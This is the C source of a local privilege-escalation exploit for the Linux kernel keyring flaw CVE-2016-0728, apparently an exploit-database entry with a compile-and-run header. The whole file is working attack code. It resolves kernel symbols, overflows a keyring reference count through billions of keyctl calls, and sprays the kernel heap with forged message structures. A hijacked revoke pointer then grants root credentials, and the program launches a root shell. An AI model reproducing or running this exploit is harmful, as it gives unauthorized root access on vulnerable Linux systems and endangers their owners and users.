# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
/* CVE-2016-0728 local root exploit
modified by Federico Bento to read kernel symbols from /proc/kallsyms
props to grsecurity/PaX for preventing this in so many ways
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
$ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
exit(0);
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct {
long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred =
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
prepare_kernel_cred =
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
if(commit_creds == (_commit_creds)0xffffffff810bb050
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
puts("[-] You probably need to change the address of
commit_creds and prepare_kernel_cred in source");
}
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("[+] Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
puts("[+] Finished increfing");
puts("[+] Forking...");
/* allocate msg struct in the kernel rewriting the freed keyring
object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("[-] msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("[-] msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("[+] Finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("[+] Caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("[+] keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
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